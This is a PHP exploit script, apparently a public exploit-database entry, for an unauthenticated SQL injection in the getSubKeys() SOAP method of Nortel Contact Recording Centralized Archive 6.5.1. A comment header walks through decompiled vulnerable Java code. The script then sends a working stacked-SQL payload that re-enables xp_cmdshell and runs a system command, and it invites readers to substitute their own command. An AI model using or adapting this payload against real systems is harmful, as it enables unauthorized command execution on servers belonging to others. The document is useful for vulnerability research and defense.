<?php
/*
Nortel Contact Recording Centralized Archive 6.5.1 EyrAPIConfiguration
Web Service getSubKeys() Remote SQL Injection Exploit
tested against:
Microsoft Windows Server 2003 r2 sp2
Microsoft SQL Server 2005 Express
download uri:
ftp://ftp.avaya.com/incoming/Up1cku9/tsoweb/web1/software/c/contactcenter/crqm/6_5_CS1K_2/Nortel-DVD3-Archive-6_5.iso
background:
This software installs a Tomcat http server which listens on
port 8080 for incoming connections. It exposes the
following servlet as declared inside
c:\Program Files\[choosen folder]\Tomcat5\webapps\EyrAPI\WEB-INF\web.xml :
...
<servlet-mapping>
<servlet-name>EyrAPIConfiguration</servlet-name>
<url-pattern>/EyrAPIConfiguration/*</url-pattern>
</servlet-mapping>
...
at the following url:
http://[host]:8080/EyrAPI/EyrAPIConfiguration/EyrAPIConfigurationIf
Vulnerability:
without prior authentication, you can reach a web service
with various methods availiable, as described inside
the associated wsdl, see file:
c:\Program Files\[choosen folder]\Tomcat5\webapps\EyrAPI\WEB-INF\classes\EyrAPIConfiguration.wsdl
among them, the getSubKeys() method.
Now look at getSubKeys() inside the decompiled
c:\Program Files\[choosen folder]\Tomcat5\webapps\EyrAPI\WEB-INF\classes\com\eyretel\eyrapi\EyrAPIConfigurationImpl.class
:
...
public String getSubKeys(boolean iterateSubKeys, boolean includeValues, String systemId, String componentId, String sysCompId, String userName)
throws RemoteException
{
StringBuffer xml;
ConfigOwnerId configOwnerId;
Connection conn;
PreparedStatement pStmt;
ResultSet rs;
PreparedStatement pStmt2;
ResultSet rs2;
log.info((new StringBuilder()).append("Request getSubKeys: iterateSubKeys=").append(iterateSubKeys).append(", includeValues=").append(includeValues).append(", SystemId=").append(systemId).append(", componentId=").append(componentId).append(", sysCompId=").append(sysCompId).append(", userName=").append(userName).toString());
xml = new StringBuffer("<ConfigurationNodeList>");
configOwnerId = null;
conn = null;
pStmt = null;
rs = null;
pStmt2 = null;
rs2 = null;
try
{
conn = SiteDatabase.getInstance().getConnection();
if(EyrAPIProperties.getInstance().getProperty("database", "MSSQLServer").equalsIgnoreCase("Oracle"))
{
if(componentId.compareToIgnoreCase("") == 0)
componentId = "*";
if(systemId.compareToIgnoreCase("") == 0)
systemId = "*";
if(sysCompId.compareToIgnoreCase("") == 0)
sysCompId = "*";
if(userName.compareToIgnoreCase("") == 0)
userName = "*";
pStmt = conn.prepareStatement((new StringBuilder()).append("SELECT ConfigOwnerID FROM ConfigOwnerView WHERE nvl(ComponentID, '*') = '").append(componentId).append("' AND ").append("nvl(SystemID, '*') = '").append(systemId).append("' AND ").append("nvl(SysCompID, '*') = '").append(sysCompId).append("' AND ").append("nvl(UserName, '*') = '").append(userName).append("'").toString());
rs = pStmt.executeQuery();
} else
{
pStmt = conn.prepareStatement((new StringBuilder()).append("SELECT ConfigOwnerID FROM ConfigOwnerView WHERE ISNULL(CONVERT(varchar(36), ComponentID), '') = '").append(unpunctuate(componentId)).append("' AND ").append("ISNULL(CONVERT(varchar(36), SystemID), '') = '").append(unpunctuate(systemId)).append("' AND ").append("ISNULL(CONVERT(varchar(36), SysCompID), '') = '").append(unpunctuate(sysCompId)).append("' AND ").append("ISNULL(UserName, '') = '").append(unpunctuate(userName)).append("'").toString());
rs = pStmt.executeQuery();
}
if(rs.next())
{
String strConfigOwnerId = rs.getString(1);
if(!rs.wasNull())
configOwnerId = new ConfigOwnerId(strConfigOwnerId);
pStmt2 = conn.prepareStatement((new StringBuilder()).append("SELECT ConfigGroupID, ConfigGroupName FROM ConfigGroupView WHERE ConfigOwnerID = '").append(configOwnerId.toString()).append("'").toString());
for(rs2 = pStmt2.executeQuery(); rs2.next(); xml.append(getSubKeyValuesInc(new Integer(rs2.getInt(1)), iterateSubKeys, includeValues)));
}
}
catch(SQLException e)
{
String msg = "Unable to get subkeys";
log.error(msg, e);
throw new RemoteException(msg, e);
}
catch(GenericDatabaseException e)
{
String msg = "Unable to get subkeys";
log.error(msg, e);
throw new RemoteException(msg, e);
}
DbHelper.closeStatement(log, pStmt);
DbHelper.closeResultSet(log, rs);
DbHelper.closeStatement(log, pStmt2);
DbHelper.closeResultSet(log, rs2);
DbHelper.closeConnection(log, conn);
break MISSING_BLOCK_LABEL_646;
Exception exception;
exception;
DbHelper.closeStatement(log, pStmt);
DbHelper.closeResultSet(log, rs);
DbHelper.closeStatement(log, pStmt2);
DbHelper.closeResultSet(log, rs2);
DbHelper.closeConnection(log, conn);
throw exception;
xml.append("\n</ConfigurationNodeList>");
log.info((new StringBuilder()).append("Response createKey= ").append(xml).toString());
return xml.toString();
}
...
This function uses unproperly the prepareStatement() function, a SELECT query is concatenated
inside of it and using user supplied values.
Note also that the unpunctuate() function is unuseful to clean the passed values:
...
protected String unpunctuate(String id)
{
StringBuffer sb = new StringBuffer(id);
try
{
if(sb.charAt(0) == '{')
sb.deleteCharAt(0);
}
catch(StringIndexOutOfBoundsException e) { }
try
{
if(sb.charAt(36) == '}')
sb.deleteCharAt(36);
}
catch(StringIndexOutOfBoundsException e) { }
return sb.toString();
}
...
As result, a remote attacker can send a SOAP message against port 8080 containing the
getSubKeys string to execute arbitrary sql commands against the
underlying database.
The following code tries to execute calc.exe (if the xp_cmdshell stored procedure
is not enabled, it will try to reenable it via 'sp_configure', assuming you have
the privileges of the 'sa' user), otherwise use your imagination.
Note: Reportedly, this product is end of sale ... so it's better you are aware of
it just in case you have an online installation exposed to user input :)
rgod
*/
error_reporting(E_ALL ^ E_NOTICE);
set_time_limit(0);
$err[0] = "[!] This script is intended to be launched from the cli!";
$err[1] = "[!] You need the curl extesion loaded!";
if (php_sapi_name() <> "cli") {
die($err[0]);
}
function syntax() {
print("usage: php 9sg_nortel.php [ip_address]\r\n" );
die();
}
$argv[1] ? print("[*] Attacking...\n") :
syntax();
if (!extension_loaded('curl')) {
$win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true :
false;
if ($win) {
!dl("php_curl.dll") ? die($err[1]) :
print("[*] curl loaded\n");
} else {
!dl("php_curl.so") ? die($err[1]) :
print("[*] curl loaded\n");
}
}
function _s($url, $is_post, $ck, $request) {
global $_use_proxy, $proxy_host, $proxy_port;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
if ($is_post) {
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $request);
}
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
"Cookie: ".$ck ,
"Content-Type: text/xml"
));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "");
curl_setopt($ch, CURLOPT_TIMEOUT, 0);
if ($_use_proxy) {
curl_setopt($ch, CURLOPT_PROXY, $proxy_host.":".$proxy_port);
}
$_d = curl_exec($ch);
if (curl_errno($ch)) {
//die("[!] ".curl_error($ch)."\n");
} else {
curl_close($ch);
}
return $_d;
}
$host = $argv[1];
$port = 8080;
print("[*] Check for spawned calc.exe sub process.\n");
$sql="'; ".
"EXEC sp_configure 'show advanced options',1;RECONFIGURE;".
"EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;".
"EXEC xp_cmdshell 'calc';--";
$soap='<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsdl="http://com.eyretel.eyrapi.org/wsdl">
<soapenv:Header/>
<soapenv:Body>
<wsdl:getSubKeys soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<boolean_1 xsi:type="xsd:boolean">true</boolean_1>
<boolean_2 xsi:type="xsd:boolean">true</boolean_2>
<String_3 xsi:type="xsd:string">'.$sql.'</String_3>
<String_4 xsi:type="xsd:string">yyyy</String_4>
<String_5 xsi:type="xsd:string">zzzz</String_5>
<String_6 xsi:type="xsd:string">kkkk</String_6>
</wsdl:getSubKeys>
</soapenv:Body>
</soapenv:Envelope>';
$url = "http://$host:$port/EyrAPI/EyrAPIConfiguration/EyrAPIConfigurationIf";
$out = _s($url, 1, "", $soap);
print($out."\n");
print("[*] Done.");
?>
